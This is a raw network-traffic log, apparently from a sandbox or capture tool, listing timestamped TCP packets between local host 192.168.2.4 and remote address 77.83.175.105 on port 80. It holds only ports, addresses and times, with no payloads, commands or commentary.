Oct 29, 2024 04:17:02.586249113 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.586282015 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.586316109 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.586323023 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.586394072 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.586424112 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.586430073 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.586464882 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.586479902 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.586512089 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.627125978 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.627160072 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.627197027 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.627234936 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.627280951 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.656272888 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.656305075 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.656348944 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.656356096 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.656372070 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.656390905 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.656408072 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.656424999 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.656459093 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.656481981 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.656522989 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.656591892 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.656620026 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.656682014 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.656764984 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.656796932 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.656821966 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.656847000 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.656860113 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.656898022 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.656933069 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.656954050 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.657109022 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.657141924 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.657174110 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.657195091 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.657221079 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.657254934 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.657288074 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.657310963 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.657339096 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.657346010 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.657371998 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.657382965 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.657406092 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.657413960 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.657438993 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.657449007 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.657471895 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.657505035 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.657507896 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.657537937 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.657542944 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.657563925 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.657588959 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.658031940 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.658062935 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.658113956 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.658113956 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.658147097 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.658164024 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.658180952 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.658195972 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.658214092 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.658225060 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.658291101 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.658307076 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.658324957 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.658335924 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.658358097 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.658375025 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.658390999 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.658406019 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.658435106 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.702871084 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.702927113 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.702965975 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.702996969 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.703015089 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.703036070 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.703047991 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.703078032 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.703082085 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.703093052 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.703114033 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.703147888 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.703164101 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.703200102 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.743856907 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.743891954 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.743942976 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.743959904 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.743974924 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.744008064 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.744009018 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.744035959 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.744043112 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.744066000 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.744096994 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.773571968 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.773622990 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.773658991 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.773693085 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.773716927 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.773763895 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.773766994 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.773799896 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.773813009 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.773834944 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.773849964 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.773880005 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.773886919 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.773926973 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.773957968 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774010897 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774024963 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774060011 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774076939 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774092913 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774106026 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774131060 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774143934 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774159908 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774183035 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774192095 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774224043 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774229050 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774241924 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774261951 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774275064 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774296999 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774327993 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774350882 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774354935 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774406910 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774439096 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774456024 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774471998 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774502039 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774503946 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774532080 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774538040 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774553061 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774569988 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774602890 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774625063 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774635077 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774660110 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774669886 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774689913 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774713039 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.774944067 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.774998903 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.775032997 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.775058031 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.775064945 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.775080919 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.775095940 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.775100946 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.775124073 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.775142908 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.819853067 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.819972992 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.820008039 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.820030928 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.820040941 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.820074081 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.820101023 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.820101023 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.820101976 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.820111990 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.820146084 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.820162058 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.820162058 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.820182085 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.820185900 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.820453882 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.860816002 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.860874891 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.860908031 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.860972881 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.860989094 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.861008883 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.861042023 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.861042976 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.861067057 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.861099958 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.889966965 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890018940 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890120029 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890161991 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.890170097 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890202999 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890209913 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.890237093 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890247107 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.890270948 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890302896 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890302896 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.890304089 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.890333891 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.890337944 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890353918 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.890372038 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890404940 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890434027 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.890475035 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.890614986 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890646935 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890670061 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.890680075 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890701056 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.890712023 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890721083 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.890764952 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.890841961 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890892029 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890897036 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.890940905 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890944004 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.890974045 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.890993118 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.891005993 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.891022921 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.891057014 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.891262054 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.891412020 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.891433001 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.891464949 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.891498089 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.891530037 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.891536951 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.891536951 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.891562939 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.891566038 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.891596079 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.891599894 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.891614914 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.891628027 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.891659975 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.891685009 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.891691923 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.891725063 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.891740084 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.891758919 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.891765118 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.891798019 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.891818047 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.892242908 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.892276049 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.892307997 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.892340899 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.892343044 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.892379045 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.892421961 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.936556101 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.936589956 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.936624050 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.936655998 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.936665058 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.936690092 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.936703920 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.936732054 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.936739922 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.936749935 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.936773062 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.936826944 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.977689028 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.977739096 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.977788925 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.977822065 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.977828026 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.977854967 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:02.977881908 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:02.977907896 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.006699085 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.006776094 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.006810904 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.006855965 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.006906033 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007231951 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007265091 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007301092 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007345915 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007365942 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007400036 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007416010 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007433891 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007447958 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007464886 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007482052 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007509947 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007514954 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007540941 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007541895 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007560015 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007574081 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007591009 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007606983 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007615089 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007639885 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007656097 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007672071 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007688999 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007705927 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007728100 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007740974 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007755995 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007772923 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007800102 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007824898 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007834911 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007870913 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007874966 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007908106 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007924080 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.007940054 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007972956 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.007976055 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.008001089 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.008069992 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.008074045 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.008105040 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.008121967 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.008156061 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.008363008 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.008413076 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.008423090 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.008464098 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.008471966 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.008497000 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.008516073 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.008534908 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:03.008548975 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:03.008569002 CET	80	49730	77.83.175.105	192.168.2.4
